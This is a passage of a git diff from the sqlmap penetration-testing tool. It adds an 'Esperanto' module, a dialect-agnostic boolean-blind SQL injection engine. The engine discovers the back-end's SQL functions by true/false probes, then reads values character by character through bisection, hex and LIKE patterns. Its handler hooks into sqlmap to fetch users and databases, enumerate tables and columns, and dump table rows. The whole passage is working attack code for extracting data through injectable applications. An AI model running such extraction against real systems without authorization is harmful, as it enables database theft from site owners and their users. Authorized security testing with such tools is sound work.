// 2] + if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _membershipLit(self, one, chars): + # order-free subset bisection over char LITERALS (no code fn, no ordering) - + # `chars` is frequency-ordered so the common half resolves first + if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))): + return None + cand = list(chars) + while len(cand) > 1: + half = cand[:len(cand) // 2] + if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _ensureHexfn(self): + # a hex fn may not have been discovered (code/collation mode won the ladder + # before hex was tried); probe for one on demand so escalation can recover + # bytes exactly. probes at most once. + if self.dialect.hexfn is None and not self._hexProbed: + self._hexProbed = True + with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc: + self.dialect.hexfn = Cap(name, tmpl, encoding=enc) + break + return self.dialect.hexfn + + def _hexEncoding(self, tmpl): + # if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 / + # utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form + # AND track the char (a DIFFERENT value for 'p'), so a constant can't match. + hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q' + hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p' + for form, enc in _HEX_Q_ENCODINGS: + if self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form)): + return enc + return None + + def _escalate(self, one, pos): + # candidate did not verify -> char is outside the searched alphabet. + # recover its exact bytes via hex if available; otherwise mark it (never + # silently substitute a space/'~' or delete it) + if self._ensureHexfn(): + ch = self._readHexChar(one) + if ch and ch != _REPL: + return ch + self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos) + return _REPL + + def _readChar(self, expr, pos, codes=None): + one = self._sub(expr, pos, 1) + mode = self.dialect.compare + + if mode == "code": + code = self.dialect.charcode[1].format(expr=one) + ordered = self._comparator in ("gt", "between") + if codes is not None: + # restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII + # set. no per-char verify - ASCII codes are unambiguous across charcode + # semantics and extractResult whole-value verifies. + low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes) + return _unichr(low) if low is not None else self._escalate(one, pos) + if ordered: + low = self._bisectCodeRange(code) + else: + # no ordered operator: order-free IN() over the printable set (or a '=' + # scan if IN is gone too); anything outside it escalates to hex / marks + low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED]) + if low is None: + return self._escalate(one, pos) + if 0xD800 <= low <= 0xDFFF: + # a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation) + # can return an isolated surrogate - not a scalar; recover via bytes + return self._escalate(one, pos) + try: + ch = _unichr(low) # low==0 is a valid NUL char, not "empty" + except ValueError: + return self._escalate(one, pos) + # a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even + # '?' (63) for an unrepresentable char - the old low>127-only check + # silently accepted the last as a literal '?'. only a *proven* code-point + # fn is trusted outright; everything else must round-trip-verify. + if self.dialect.charcode.get("semantics") != "codepoint" and \ + not self._exactCharEquals(one, ch): + return self._escalate(one, pos) + return ch + + if mode == "hex": + if self.dialect.hexfn is None: + return self._escalate(one, pos) + return self._readHexChar(one) + + if mode == "collation": + if self.dialect.binwrap is None: + return self._escalate(one, pos) + w = self.dialect.binwrap[1] + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c))))) + if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))): + return cand + return self._escalate(one, pos) + + if mode == "ordinal": + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c)))) + if self._ask("%s=%s" % (one, self._lit(cand))): + return cand + return self._escalate(one, pos) + + # equality / equality-ci: order-free IN() subset bisection (frequency-ordered, + # ~log2(n) probes) when IN is usable, else the linear frequency scan + if self._inOk: + ch = self._membershipLit(one, _FREQ_ORDER) + return ch if ch is not None else self._escalate(one, pos) + for ch in _FREQ_ORDER: + if self._ask("%s=%s" % (one, self._lit(ch))): + return ch + return self._escalate(one, pos) + + def _readHexChar(self, one): + # read the uppercase-hex byte string of a single source char, digit by + # digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip + # against the source (decoder order alone is endian-ambiguous: 00 41 is both + # UTF-16BE 'A' and UTF-16LE U+4100). + hexpr = self.dialect.hexfn[1].format(expr=one) + hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES) + if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES: + return _REPL + # bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks + # vs up to 16); fall back to an equality scan otherwise + if self._hexOrdered is None: + self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'")) + digits = "" + for k in range(1, hlen + 1): + nib = self._sub(hexpr, k, 1) + if self._hexOrdered: + lo, hi = 0, len(_HEXDIGITS) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])): + lo = mid + 1 + else: + hi = mid + # verify: if nib isn't actually this hex digit (WAF/glitch), bail + if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])): + return _REPL + digits += _HEXDIGITS[lo] + else: + for hd in _HEXDIGITS: + if self._ask("%s='%s'" % (nib, hd)): + digits += hd + break + else: + return _REPL + try: + raw = _unhexlify(digits) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return _REPL + # generate every single-scalar candidate and pick the one that round-trips + # against the source char (resolves the endian ambiguity), preferring the + # interleaved-NUL-signalled endianness order first + order = [] + if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00": + order += ["utf-16-be", "utf-32-be"] + if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00": + order += ["utf-16-le", "utf-32-le"] + # UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode + # backend may hex; each is TRIED only when it round-trips against the source char + # (see _exactCharEquals below), so adding codecs can only recover MORE, never + # mis-decode. latin-1 stays last (it accepts any single byte). + order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be", + "cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"] + seen = set() + for enc in order: + try: + dec = raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + if dec in seen or not _isSingleUnicodeScalar(dec): + continue + seen.add(dec) + if self._exactCharEquals(one, dec): + return dec + return _REPL + + def _textable(self, expr): + # extraction needs BOTH length and substring to work; length may implicitly + # cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)), + # so the substring primitive must be probed too. with no length fn, the + # substring probe alone is the textability test. + length_ok = self.dialect.length is None or self._numDefined(self._len(expr)) + return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1)) + + def _resolveText(self, expr): + # if the expression isn't directly substringable (e.g. a numeric/date column + # on a strict engine), wrap it in the discovered text cast + if self._textable(expr): + return expr + if self.dialect.textcast is not None and self._ask("%s IS NOT NULL" % expr): + casted = self.dialect.textcast[1].format(expr=expr) + if self._textable(casted): + return casted + return expr + + def coalesce(self, expr, fallback="''"): + return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr + + def _concatMany(self, parts): + if len(parts) == 1: + return parts[0] + func = self.dialect.concat.get("variadic") if self.dialect.concat else None + if func: # flat CONCAT(a,b,c,...) when variadic + return "%s(%s)" % (func, ",".join(parts)) + out = parts[0] + for p in parts[1:]: + out = self.dialect.concat[1].format(a=out, b=p) + return out + + def buildLiteral(self, value): + """Build a SQL string literal for `value`. Prefers CHAR(code)||... from the + discovered char-from-code + concat primitives (no quote-escaping pitfalls), + for ASCII values; otherwise a doubled-quote literal.""" + if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value): + return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value]) + return self._lit(value) + + def extract(self, expr, limit=None): + return self.extractResult(expr, limit).value + + def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None): + """Structured text extraction keeping NULL / empty / truncated / failed + distinct - never conflated into one ambiguous ''/None. `codes` restricts the + char alphabet (sorted code list) for a big speedup on known-alphabet values.""" + if self.dialect.prefix is not None and self.dialect.substring is None: + return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path + q0 = self._queries + expr = self._resolveText(expr) + ceiling = self.maxlen if _ceiling is None else _ceiling + length, truncated = self._measureLength(expr, ceiling=ceiling) + if length is None: + # >=0 was false: either a genuine NULL or the probe itself failed. + # PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to + # turn every invalid expression into a convincing, "complete" NULL. + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["length probe failed"]) + if limit is not None and limit < length: + truncated = True # a bounded prefix of a longer value + length = limit + value = "" if length == 0 else "".join(self._readChar(expr, i, codes) for i in range(1, length + 1)) + warns = ["contains unresolved char"] if _REPL in value else [] + if self.dialect.compare == "equality-ci": + warns.append("lossy equality collation: case/accents ambiguous") + complete = not truncated and not warns + # a length fn can stop at an embedded NUL, yielding a convincing short prefix. + # ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the + # strongest available comparator (hex > binary wrapper > plain equality); even + # plain equality catches a NUL-truncated prefix. recover via hex on mismatch. + # (_verify=False on the internal hex-string pull to avoid re-entry.) + if _verify and complete and not self._exactEquals(expr, self._lit(value)): + recovered = self._extractViaHex(expr, q0) + if recovered is not None: + return recovered + complete = False + warns.append("whole-value verification failed") + return ExtractResult(value, complete=complete, truncated=truncated, + queries=self._queries - q0, warnings=warns) + + def _extractViaHex(self, expr, q0=None): + # recover a full text value through strict hex extraction, or None + if not self._ensureHexfn(): + return None + q0 = self._queries if q0 is None else q0 + res = self.extractResult(self.dialect.hexfn[1].format(expr=expr), + _ceiling=self.maxbytes * 2, _verify=False) + if res.is_null: + return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0) + if res.value is None or not res.complete or res.truncated or res.warnings: + return None + dec = self._decodeHexToken(res.value) + if dec is None: + return None + return ExtractResult(dec, complete=True, queries=self._queries - q0, + warnings=["recovered via hex after verification mismatch"]) + + def _exactEquals(self, left, right): + # whole-value equality that avoids collation/trailing-space lies + if self._ensureHexfn(): + t = self.dialect.hexfn[1] + return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right))) + if self.dialect.binwrap: + t = self.dialect.binwrap[1] + return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right))) + return self._ask("(%s)=(%s)" % (left, right)) + + def extractInteger(self, expr, maximum=None): + """Extract a (possibly signed) integer by range-bounded bisection - avoids + stringifying and reading digit-by-digit.""" + cap = maximum if maximum is not None else 1 << 62 + if self._comparator != "gt": + # BETWEEN / order-free IN(): read the non-negative magnitude (counts, + # lengths - the only integers enumeration needs). ceil bounds the + # order-free window scan; hitting it overflows rather than saturating. + if not self._numDefined(expr): + return None + ceil = cap if self._comparator == "between" else min(cap, 1 << 16) + n = self._readNum(expr, 0, ceil) + if n >= ceil and ceil < cap: + raise OverflowError("integer exceeds maximum %d" % ceil) + return n + if not self._ask("%s>=0" % expr): + if not self._ask("%s<0" % expr): + return None # NULL or non-numeric + if self._ask("%s<%d" % (expr, -cap)): # symmetric: negative side capped too + raise OverflowError("integer below minimum -%d" % cap) + hi = -1 + lo = -2 + while self._ask("%s<%d" % (expr, lo)): + hi = lo + lo *= 2 + while lo < hi: + mid = -((-lo + -hi) // 2) # ceil toward zero + if self._ask("%s<%d" % (expr, mid)): + hi = mid - 1 + else: + lo = mid + return lo + lo, hi = 0, 1 + while hi < cap and self._ask("%s>%d" % (expr, hi)): + lo = hi + 1 + hi = min(hi * 2 + 1, cap) + if hi == cap and self._ask("%s>%d" % (expr, cap)): + raise OverflowError("integer exceeds maximum %d" % cap) # never saturate silently + while lo < hi: + mid = (lo + hi) // 2 + if self._ask("%s>%d" % (expr, mid)): + lo = mid + 1 + else: + hi = mid + return lo + + def extractBytes(self, expr): + """Extract the exact bytes of a string/blob expression via a hex function. + Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so + whatever compare mode is active reads it cleanly). Returns None if no hex + function is available on the target.""" + if not self._ensureHexfn(): + return None + # hex doubles the length; cap by maxbytes (a char can be several bytes), + # not maxlen + res = self.extractResult(self.dialect.hexfn[1].format(expr=expr), + _ceiling=self.maxbytes * 2, _verify=False) + hexstr = res.value + # STRICT: never clean corruption into believable bytes. reject a non-hex + # char, odd length, incomplete/truncated pull, or an unresolved marker. + if hexstr is None or not res.complete or res.truncated or res.warnings: + return None + if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr): + return None + try: + return _unhexlify(hexstr) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + + def extractText(self, expr, encoding="utf-8", errors="replace"): + """Extract bytes then decode with a caller-chosen encoding - the reliable + path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16 + NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the + target has no hex function.""" + raw = self.extractBytes(expr) + if raw is None: + return self.extract(expr) + return raw.decode(encoding, errors) + + def _likePat(self, prefix_singles, ch, trailing): + # build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal + # char + `single`*after. only `ch` may be special, escaped if so. + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + body = single * prefix_singles + if p.name == "GLOB" and ch in (multi, single, "["): + body += "[%s]" % ch # GLOB escapes via a char class + return body + (single * trailing), "" + # SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_ + special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single) + if ch in special: + body += "\\" + ch # escape via ESCAPE '\' + return body + (single * trailing), " ESCAPE '\\'" + body += ch.replace("'", "''") + return body + (single * trailing), "" + + def _likeIs(self, expr, pattern, esc): + return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc)) + + def _likeExtract(self, expr, limit=None): + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + q0 = self._queries + # NULL vs matches-anything-nonnull + if not self._likeIs(expr, multi, ""): + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["pattern probe failed"]) + if self._likeIs(expr, "", ""): # empty string matches only '' + return ExtractResult("", complete=True, queries=self._queries - q0) + # length from wildcards: `_`*n + `%` matches iff length >= n. find the + # largest n that still matches (keep a known-true lower bound; the exponential + # must NOT advance lo past the true region) + ge = lambda n: self._likeIs(expr, single * n + multi, "") + hi = 1 + while hi < self.maxlen and ge(hi): + hi = min(hi * 2, self.maxlen) + lo = 1 # ge(1) is true (non-empty) + while lo < hi: + mid = (lo + hi + 1) // 2 + lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1) + length = lo + truncated = length >= self.maxlen and ge(self.maxlen) + if limit is not None and limit < length: + truncated, length = True, limit + out = [] + for i in range(length): + hit = None + for c in _FREQ_ORDER: + pat, esc = self._likePat(i, c, length - i - 1) + if self._likeIs(expr, pat, esc): + hit = c + break + out.append(hit if hit is not None else _REPL) + value = "".join(out) + warns = ["contains unresolved char"] if _REPL in value else [] + if p.get("case_insensitive"): + warns.append("LIKE is case-insensitive: letter case may be ambiguous") + return ExtractResult(value, complete=not truncated and not warns, truncated=truncated, + queries=self._queries - q0, warnings=warns) + + @staticmethod + def _decodeHexToken(token, encoding=None): + if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token): + return None # strict: don't clean corruption + try: + raw = _unhexlify(token) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + if encoding: + return raw.decode(encoding, "replace") + # UTF-16LE (SQL Server nvarchar) is *also* valid UTF-8 when ASCII-ish, so a + # utf-8-first guess silently mis-decodes it; detect the interleaved-null + # signature first + if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(1, len(raw), 2)): + try: + return raw.decode("utf-16-le") + except UnicodeDecodeError: + pass + # UTF-16BE (h2/HSQLDB RAWTOHEX) has nulls at EVEN offsets; catch it before the + # utf-8 guess below "succeeds" by reading those nulls as NUL-interleaved text + if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(0, len(raw), 2)): + try: + return raw.decode("utf-16-be") + except UnicodeDecodeError: + pass + for enc in ("utf-8", "utf-16-le", "latin-1"): + try: + return raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + return raw.decode("latin-1", "replace") diff --git a/extra/esperanto/handler.py b/extra/esperanto/handler.py new file mode 100644 index 00000000000..b968d85a593 --- /dev/null +++ b/extra/esperanto/handler.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .engine import Esperanto +from .records import OracleUndecided + + +def buildHandler(): + """Build the sqlmap dbmsHandler that drives enumeration through this engine when + the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are + deferred here so the engine above stays dependency-free for standalone use. + + The user still commands *what* to retrieve (--banner / --tables / --dump / ...); + esperanto only works out *how* on a dialect it discovers from scratch, and every + probe rides sqlmap's own boolean inference (request / comparison / WAF stack).""" + from lib.core.data import conf + from lib.core.data import kb + from lib.core.data import logger + from lib.core.enums import CHARSET_TYPE + from lib.core.enums import EXPECTED + from lib.core.exception import SqlmapDataException + from lib.request.inject import checkBooleanExpression + from lib.request.inject import getValue + from plugins.generic.enumeration import Enumeration + from plugins.generic.misc import Miscellaneous + + # boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a + # reflective target that filters out the reflected marker can't defeat it + def _blindOracle(condition): + return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, + suppressOutput=True, union=False, error=False, time=False) + + class _EsperantoHandler(Enumeration, Miscellaneous): + def __init__(self): + Enumeration.__init__(self) + Miscellaneous.__init__(self) + self._esp = None + self._identCache = {} # current user/db: fetch (and announce) once + self._colCache = {} # (db, table) -> ordered column names, so a dump + # reuses what --columns already enumerated + self._scopeCache = {} # table -> resolved schema (see _scopeFor) + + def _engine(self): + if self._esp is None: + # esperanto is a PURE boolean-oracle engine: every probe is one true/false + # question, so it gains nothing from UNION/error inband extraction - while + # those need a concatenated marker whose generic form is CONCAT() when the + # backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/ + # Firebird/Oracle (they use ||) so every such probe errors. so PREFER the + # boolean-blind technique: no marker, no concatenation, whole-page true/false, + # works everywhere. only fall back to whatever-technique-is-available if the + # target has no usable boolean-blind vector. _ask decides what an undecidable + # probe MEANS by context (skip a candidate rung vs degrade a data read loudly). + esp = Esperanto(_blindOracle, retries=2) + logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)") + try: + esp.discover() + except RuntimeError: + # no usable boolean-blind vector on this target - retry with any technique + # sqlmap detected (UNION/error/time); may hit the CONCAT limitation above + esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2) + logger.info("Esperanto retrying discovery via any available inference technique") + try: + esp.discover() + except RuntimeError as ex: + # genuinely unusable (unstable target, or no substring/pattern + # primitive) - stop cleanly instead of surfacing an internal traceback + raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex) + logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown")) + esp._progress = lambda value: logger.info("retrieved: %s" % value) # live feedback + for note in esp.dialect.notes: # surface degradations LOUDLY (never silent) + logger.warning("Esperanto: %s" % note) + self._esp = esp + return self._esp + + def _scopeDb(self): + # the database to scope table/column lookups to: -D if given, else the + # current one. WITHOUT this, a same-named table in another schema (e.g. + # information_schema.USERS vs shop.users) merges columns and breaks dump. + return conf.db or self.getCurrentDb() + + def _scopeFor(self, table): + # scope for a SPECIFIC table: -D wins; else the current schema IF the table + # is there; else the schema the table actually lives in (PG-family: tables + # often sit in 'public' while current_schema is the login user's own schema). + if conf.db: + return conf.db + if table in self._scopeCache: + return self._scopeCache[table] + esp = self._engine() + cur = self.getCurrentDb() + scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur) + self._scopeCache[table] = scope + return scope + + def _db(self): + return self._scopeDb() or "" + + def getFingerprint(self): + # concise fingerprint only; the version banner is shown for --banner, not + # printed unbidden on every run (and not re-extracted here) + product = self._engine().identify().get("product") or "unknown" + return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product + + def getBanner(self): + # the ONLY path that blind-reads the full version string (expensive); the + # fingerprint/product naming never does + logger.info("fetching banner") + kb.data.banner = self._engine().banner() + return kb.data.banner + + def getCurrentUser(self): + if "user" not in self._identCache: + expr = self._engine().dialect.identity.get("user") + if expr: + logger.info("fetching current user") + self._identCache["user"] = self._safeExtract(expr) if expr else None + kb.data.currentUser = self._identCache["user"] + return kb.data.currentUser + + def getCurrentDb(self): + # called repeatedly to scope tables/columns/dump -> fetch and announce once + if "db" not in self._identCache: + expr = self._engine().dialect.identity.get("database") + if expr: + logger.info("fetching current database") + self._identCache["db"] = self._safeExtract(expr) if expr else None + kb.data.currentDb = self._identCache["db"] + return kb.data.currentDb + + def _safeExtract(self, expr): + try: + return self._esp.extract(expr) + except OracleUndecided: + logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr) + return None + + def isDba(self, user=None): + kb.data.isDba = False # no privilege claim the oracle cannot prove + return kb.data.isDba + + def getDbs(self): + logger.info("fetching database names") + kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or [] + return kb.data.cachedDbs + + def getTables(self, bruteForce=None): + # scope to the requested database (-D) or the current one, so the listing + # isn't polluted with every schema's tables (e.g. information_schema) + db = conf.db or self.getCurrentDb() + lim = conf.limitStop or 100 + names = self._engine().enumerate("table", limit=lim, schema=db) or [] + if not names and not conf.db and db != "public": + # current schema empty (PG-family: login-user schema) -> tables usually + # live in 'public'; broaden rather than report nothing + pub = self._engine().enumerate("table", limit=lim, schema="public") or [] + if pub: + names, db = pub, "public" + infoMsg = "fetching tables" + if db: + infoMsg += " for database '%s'" % db + logger.info(infoMsg) + kb.data.cachedTables = {db or "": names} + return kb.data.cachedTables + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to enumerate columns") + return {} + db = self._scopeFor(conf.tbl) + infoMsg = "fetching columns for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + names = self._engine().columns(conf.tbl, schema=db) or [] + self._colCache[(db, conf.tbl)] = names # let a following dump reuse these + kb.data.cachedColumns = {db or "": {conf.tbl: dict((n, None) for n in names)}} + return kb.data.cachedColumns + + def getSchema(self): + esp = self._engine() + db = self._scopeDb() + schema = {} + for table in (self.getTables().get(self._db()) or []): + schema[table] = dict((n, None) for n in (esp.columns(table, schema=db) or [])) + kb.data.cachedColumns = {self._db(): schema} + return kb.data.cachedColumns + + def dumpTable(self, foundData=None): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to dump") + return + db = self._scopeFor(conf.tbl) + cols = [c.strip() for c in conf.col.split(",")] if conf.col else None + if cols is None: + cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk + infoMsg = "fetching entries" + if cols: + infoMsg += " of column(s) '%s'" % ", ".join(cols) + infoMsg += " for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=(conf.limitStop or 10)) + if not result or not result["columns"]: + logger.error("Esperanto could not dump table '%s'" % conf.tbl) + return + table_data = {} + for i, name in enumerate(result["columns"]): + values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]] + width = max([len(name)] + [len(v) for v in values]) if values else len(name) + table_data[name] = {"length": width, "values": values} + table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()} + if not result["complete"]: + logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl) + kb.data.dumpedTable = table_data + conf.dumper.dbTableValues(kb.data.dumpedTable) + + return _EsperantoHandler() diff --git a/extra/esperanto/oracle.py b/extra/esperanto/oracle.py new file mode 100644 index 00000000000..5cbe526a115 --- /dev/null +++ b/extra/esperanto/oracle.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from contextlib import contextmanager + +from .atlas import * +from .records import * + + +class _OracleCore(object): + """_OracleCore + + the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific).""" + + @contextmanager + def _probePhase(self): + # mark a candidate-rung laddering section (discovery or lazy _ensure*): while + # active, a host oracle may safely read an undecidable probe as False ("this + # rung is unusable"), whereas outside it an undecidable READ must stay undecided + prev = self._probing + self._probing = True + try: + yield + finally: + self._probing = prev + + def _emit(self, value): + if self._progress and value not in (None, ""): + try: + self._progress(value) + except Exception: + pass + + def _probe(self, condition): + # ONE tri-state evaluation: True / False / None(persistent error). a raised + # oracle is retried (transient) before being reported as an error - a + # wrong-dialect probe legitimately errors, but a flaky connection must not + # be allowed to read as a definitive False. counts every actual oracle call. + for _ in range(self.retries + 1): + if self.max_queries is not None and self._queries >= self.max_queries: + raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries) + self._queries += 1 + try: + observed = self.oracle(condition) + except Exception: + continue + # STRICT: only a real bool is an observation. None/0/''/other must not be + # coerced to False (that silently corrupts bisection) - treat as undecided. + if observed is True or observed is False: + return observed + return None + + def _ask(self, condition): + # decided boolean, or raise OracleUndecided - NEVER manufacture False from an + # unobservable probe (that would silently corrupt blind bisection). the oracle + # must itself return False for unsupported/rejected SQL; a raised probe means + # "could not observe" and, absent a quorum, is fatal. + if self.quorum <= 1: + r = self._probe(condition) + if self.verbose: + print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition)) + if r is None: + # while laddering CANDIDATE rungs an undecidable/erroring probe (oracle + # returned None OR raised - both surface here as None) means "this rung is + # unusable", so read it as False and let the ladder move on; only OUTSIDE + # probing (reading committed data) is it fatal, so a flaky read never + # silently coerces to a definite bit + if self._probing: + return False + self._errors += 1 + raise OracleUndecided("oracle could not decide: %s" % condition) + return r + + samples = 2 * self.quorum - 1 + yes = no = tries = 0 + while (yes + no) < samples and tries < samples + self.quorum + 2: + tries += 1 + r = self._probe(condition) + if r is None: + self._errors += 1 + continue + yes, no = (yes + 1, no) if r else (yes, no + 1) + if yes >= self.quorum or no >= self.quorum: + break + if self.verbose: + state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E") + print(" [%s %d:%d] %s" % (state, yes, no, condition)) + if yes >= self.quorum: + return True + if no >= self.quorum: + return False + if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal + return False + raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no)) + + def _sub(self, expr, pos, length): + # pos is always passed 1-based; adjust for a 0-based dialect if discovered + p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1 + return self.dialect.substring[1].format(expr=expr, pos=p, len=length) + + def _len(self, expr): + return self.dialect.length[1].format(expr=expr) + + def _sanity(self): + return self._ask("1=1") and not self._ask("1=2") and \ + self._ask("'a'='a'") and not self._ask("'a'='b'") + + def _exists(self, source, column="1"): + # does `source` (a table/catalog) - and optionally `column` in it - resolve? + # WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when + # it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works + # for empty tables too. `column` is passed BARE so a nonexistent one errors, + # rather than being taken as a string literal (SQLite quirk) and passing every + # fake name. + return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source)) diff --git a/extra/esperanto/records.py b/extra/esperanto/records.py new file mode 100644 index 00000000000..fa9d7a79239 --- /dev/null +++ b/extra/esperanto/records.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import * + + +class OracleUndecided(RuntimeError): + """The oracle gave no reliable True/False after retries/voting - a transport or + observation failure, NOT a definitive answer. Raised so blind extraction fails + CLOSED instead of converging on plausible-but-wrong data from a manufactured + False. (A wrong-dialect/unsupported probe must be reported as False by the + oracle itself; exceptions are reserved for 'could not observe'.)""" + + +class Cap(object): + """A discovered primitive: (name, template) PLUS measured semantic properties. + Indexable like the old (name, template) tuple so existing call sites keep working + (`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts - + e.g. length unit=characters|bytes, substring index_base, charcode semantics.""" + __slots__ = ("name", "template", "props") + + def __init__(self, name, template, **props): + self.name, self.template, self.props = name, template, props + + def __getitem__(self, i): + return (self.name, self.template)[i] + + def get(self, key, default=None): + return self.props.get(key, default) + + def __repr__(self): + extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else "" + return "%s(%s)" % (self.name, extra.strip() or self.template) + + +class ExtractResult(object): + """Structured extraction outcome - keeps NULL, empty, truncated and failed + distinct (str-like so `str(r)`/truthiness still read naturally).""" + __slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings") + + def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None): + self.value = value + self.is_null = 